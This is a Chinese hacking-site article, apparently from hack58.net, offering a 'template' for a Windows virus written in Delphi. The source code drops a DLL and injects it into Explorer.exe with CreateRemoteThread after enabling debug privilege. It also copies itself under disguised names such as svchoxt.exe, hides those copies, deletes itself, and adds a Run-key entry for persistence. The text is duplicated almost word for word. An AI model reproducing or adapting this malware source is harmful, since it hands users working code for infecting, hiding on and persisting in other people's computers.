三线程病毒概念程序
1. dll中监视注册表、监视主运行文件(两者如发现被改动或着删除 立刻恢复 注册表重写,文件则在备份中恢复
2. 主程序负责 插入线程 创建备份文件、释放资源文件DLL 、复制自身与系统目录
删除备份文件成了,解决这类病毒的关键.下面我做一个大体模版给大家看一下这类病毒的制造方法.
{$R b411.res}
//释放资源文件-----------------------------------------------------
function EXEResFile(const ResName,ResType,NewFile:String):Boolean;
var
Res : TResourceStream;
begin
Result:=True;
try
Res:= TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(NewFile);
finally
Res.Free;
end;
except
Result:=False;
end;
end;
//得到WINDOWS目录------------------------------------------------
function getwin:string;
var
buf:array[0..255] of char;
begin
getwindowsdirectory(buf,256);
result:=buf;
if Result[Length(Result)]<>’\’ then Result := Result + ’\’;
end;
//Windows\System\的路径
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>’\’ then Result := Result + ’\’;
end;
//列举进程-------------------------------------------------------------------------------
procedure FindAProcess(const AFilename: string; const PathMatch: Boolean; var ProcessID: DWORD);
var
lppe: TProcessEntry32;
SsHandle: Thandle;
FoundAProc, FoundOK: boolean;
begin
ProcessID :=0;
SsHandle := CreateToolHelp32SnapShot(TH32CS_SnapProcess, 0);
FoundAProc := Process32First(Sshandle, lppe);
while FoundAProc do
begin
if PathMatch then
FoundOK := AnsiStricomp(lppe.szExefile, PChar(AFilename)) = 0
else
FoundOK := AnsiStricomp(PChar(ExtractFilename(lppe.szExefile)), PChar(ExtractFilename(AFilename))) = 0;
if FoundOK then
begin
ProcessID := lppe.th32ProcessID;
break;
end;
FoundAProc := Process32Next(SsHandle, lppe);
end;
CloseHandle(SsHandle);
end;
//设置权限-----------------------------------------------------------------
function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;
var
hToken: THandle;
tp: TOKEN_PRIVILEGES;
a: DWORD;
const
SE_DEBUG_NAME = ’SeDebugPrivilege’;
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken)) then
begin
tp.PrivilegeCount := 1;
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
if bEnabled then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
a := 0;
AdjustTokenPrivileges(hToken, False, tp, SizeOf(tp), nil, a);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hToken);
end;
end;
//注入Explorer.exe进程
function AttachToProcess(const HostFile, GuestFile: string; const PID: DWORD = 0): DWORD;
var
hRemoteProcess: THandle;
dwRemoteProcessId: DWORD;
cb: DWORD;
pszLibFileRemote: Pointer;
iReturnCode: Boolean;
TempVar: DWORD;
pfnStartAddr: TFNThreadStartRoutine;
pszLibAFilename: PwideChar;
begin
Result := 0;
EnabledDebugPrivilege(True);
Getmem(pszLibAFilename, Length(GuestFile) * 2 + 1);
StringToWideChar(GuestFile, pszLibAFilename, Length(GuestFile) * 2 + 1);
if PID > 0 then
dwRemoteProcessID := PID
else
FindAProcess(HostFile, False, dwRemoteProcessID);
hRemoteProcess := OpenProcess(PROCESS_CREATE_THREAD + {允许远程创建线程}
PROCESS_VM_OPERATION + {允许远程VM操作}
PROCESS_VM_WRITE, {允许远程VM写}
FALSE, dwRemoteProcessId);
cb := (1 + lstrlenW(pszLibAFilename))
pszLibFileRemote := PWIDESTRING(VirtualAllocEx(hRemoteProcess, nil, cb, MEM_COMMIT, PAGE_READWRITE));
TempVar := 0;
iReturnCode := WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, cb, TempVar);
if iReturnCode then
begin
pfnStartAddr := GetProcAddress(GetModuleHandle(’Kernel32’), ’LoadLibraryW’);
TempVar := 0;
Result := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, TempVar);
end;
Freemem(pszLibAFilename);
end;
begin
exeresfile(’b411’,’exefile’,getwindir+’b411.dll’);//释放资源
sleep(500);
CopyFile(pchar(paramstr(0)),pchar(getwin+’\system32.exe’),false);
//复制一份名为system32.exe到系统目录中,
sleep(500);
AttachToProcess(’Explorer.exe’, getwindir+’b411.dll’); //插入Explorer.exe
SendMessage(0,WM_CLOSE,0,0); //关闭
end.
end.
自复制后还可设置文件的属性,例子如下:
procedure TForm1.KOLForm1FormCreate(Sender: PObj);
var
F3: string;
begin
F3 := Syspath + ’\svchoxt.exe’; //复制一份到系统目录
if not FileExists(F3) then
begin
CopyFile(pchar(ParamStr(0)), pchar(F3), true); //开始复制
SetFileAttributes(pchar(F3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
{设置文件的属性为系统和隐藏}
winexec(pchar(F3), 1); {运行文件}
application.Terminate; //关闭释放 文件
// SendMessage(0,WM_CLOSE,0,0); //或用SendMessage关闭文件
deleteSelf; //自删除
end;
Timer1.Enabled :=true; //定时写注册表
end;
//定时写注册表如下:
procedure TForm1.Timer1Timer(Sender: PObj);
var
k1: hkey;
l: longint;
p: pchar;
begin
try
{$IFNDEF DebugMode}
l := regopenkey(HKEY_LOCAL_MACHINE, ’SOFTWARE’, k1);
l := regopenkey(k1, ’Microsoft’, k1);
l := regopenkey(k1, ’Windows’, k1);
l := regopenkey(k1, ’CurrentVersion’, k1);
l := regopenkey(k1, ’Run’, k1);
p := pchar(ParamStr(0));
l := regsetvalueEx(k1, ’SysDesk’, 0, 1, p, 255);
{$ENDIF}
except
end;
end;
这段代码的意思是 把程序注入到 浏览器,只要浏览器不关闭病毒就存在.欢迎指正,交流 http://www.hack58.net/Article/60/64/2005/5003.htm
2. 主程序负责 插入线程 创建备份文件、释放资源文件DLL 、复制自身与系统目录
删除备份文件成了,解决这类病毒的关键.下面我做一个大体模版给大家看一下这类病毒的制造方法.
{$R b411.res}
//释放资源文件-----------------------------------------------------
function EXEResFile(const ResName,ResType,NewFile:String):Boolean;
var
Res : TResourceStream;
begin
Result:=True;
try
Res:= TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(NewFile);
finally
Res.Free;
end;
except
Result:=False;
end;
end;
//得到WINDOWS目录------------------------------------------------
function getwin:string;
var
buf:array[0..255] of char;
begin
getwindowsdirectory(buf,256);
result:=buf;
if Result[Length(Result)]<>’\’ then Result := Result + ’\’;
end;
//Windows\System\的路径
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>’\’ then Result := Result + ’\’;
end;
//列举进程-------------------------------------------------------------------------------
procedure FindAProcess(const AFilename: string; const PathMatch: Boolean; var ProcessID: DWORD);
var
lppe: TProcessEntry32;
SsHandle: Thandle;
FoundAProc, FoundOK: boolean;
begin
ProcessID :=0;
SsHandle := CreateToolHelp32SnapShot(TH32CS_SnapProcess, 0);
FoundAProc := Process32First(Sshandle, lppe);
while FoundAProc do
begin
if PathMatch then
FoundOK := AnsiStricomp(lppe.szExefile, PChar(AFilename)) = 0
else
FoundOK := AnsiStricomp(PChar(ExtractFilename(lppe.szExefile)), PChar(ExtractFilename(AFilename))) = 0;
if FoundOK then
begin
ProcessID := lppe.th32ProcessID;
break;
end;
FoundAProc := Process32Next(SsHandle, lppe);
end;
CloseHandle(SsHandle);
end;
//设置权限-----------------------------------------------------------------
function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;
var
hToken: THandle;
tp: TOKEN_PRIVILEGES;
a: DWORD;
const
SE_DEBUG_NAME = ’SeDebugPrivilege’;
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken)) then
begin
tp.PrivilegeCount := 1;
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
if bEnabled then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
a := 0;
AdjustTokenPrivileges(hToken, False, tp, SizeOf(tp), nil, a);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hToken);
end;
end;
//注入Explorer.exe进程
function AttachToProcess(const HostFile, GuestFile: string; const PID: DWORD = 0): DWORD;
var
hRemoteProcess: THandle;
dwRemoteProcessId: DWORD;
cb: DWORD;
pszLibFileRemote: Pointer;
iReturnCode: Boolean;
TempVar: DWORD;
pfnStartAddr: TFNThreadStartRoutine;
pszLibAFilename: PwideChar;
begin
Result := 0;
EnabledDebugPrivilege(True);
Getmem(pszLibAFilename, Length(GuestFile) * 2 + 1);
StringToWideChar(GuestFile, pszLibAFilename, Length(GuestFile) * 2 + 1);
if PID > 0 then
dwRemoteProcessID := PID
else
FindAProcess(HostFile, False, dwRemoteProcessID);
hRemoteProcess := OpenProcess(PROCESS_CREATE_THREAD + {允许远程创建线程}
PROCESS_VM_OPERATION + {允许远程VM操作}
PROCESS_VM_WRITE, {允许远程VM写}
FALSE, dwRemoteProcessId);
cb := (1 + lstrlenW(pszLibAFilename))
pszLibFileRemote := PWIDESTRING(VirtualAllocEx(hRemoteProcess, nil, cb, MEM_COMMIT, PAGE_READWRITE));
TempVar := 0;
iReturnCode := WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, cb, TempVar);
if iReturnCode then
begin
pfnStartAddr := GetProcAddress(GetModuleHandle(’Kernel32’), ’LoadLibraryW’);
TempVar := 0;
Result := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, TempVar);
end;
Freemem(pszLibAFilename);
end;
begin
exeresfile(’b411’,’exefile’,getwindir+’b411.dll’);//释放资源
sleep(500);
CopyFile(pchar(paramstr(0)),pchar(getwin+’\system32.exe’),false);
//复制一份名为system32.exe到系统目录中,
sleep(500);
AttachToProcess(’Explorer.exe’, getwindir+’b411.dll’); //插入Explorer.exe
SendMessage(0,WM_CLOSE,0,0); //关闭
end.
end.
自复制后还可设置文件的属性,例子如下:
procedure TForm1.KOLForm1FormCreate(Sender: PObj);
var
F3: string;
begin
F3 := Syspath + ’\svchoxt.exe’; //复制一份到系统目录
if not FileExists(F3) then
begin
CopyFile(pchar(ParamStr(0)), pchar(F3), true); //开始复制
SetFileAttributes(pchar(F3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
{设置文件的属性为系统和隐藏}
winexec(pchar(F3), 1); {运行文件}
application.Terminate; //关闭释放 文件
// SendMessage(0,WM_CLOSE,0,0); //或用SendMessage关闭文件
deleteSelf; //自删除
end;
Timer1.Enabled :=true; //定时写注册表
end;
//定时写注册表如下:
procedure TForm1.Timer1Timer(Sender: PObj);
var
k1: hkey;
l: longint;
p: pchar;
begin
try
{$IFNDEF DebugMode}
l := regopenkey(HKEY_LOCAL_MACHINE, ’SOFTWARE’, k1);
l := regopenkey(k1, ’Microsoft’, k1);
l := regopenkey(k1, ’Windows’, k1);
l := regopenkey(k1, ’CurrentVersion’, k1);
l := regopenkey(k1, ’Run’, k1);
p := pchar(ParamStr(0));
l := regsetvalueEx(k1, ’SysDesk’, 0, 1, p, 255);
{$ENDIF}
except
end;
end;
这段代码的意思是 把程序注入到 浏览器,只要浏览器不关闭病毒就存在.欢迎指正,交流 http://www.hack58.net/Article/60/64/2005/5003.htm
0
相关文章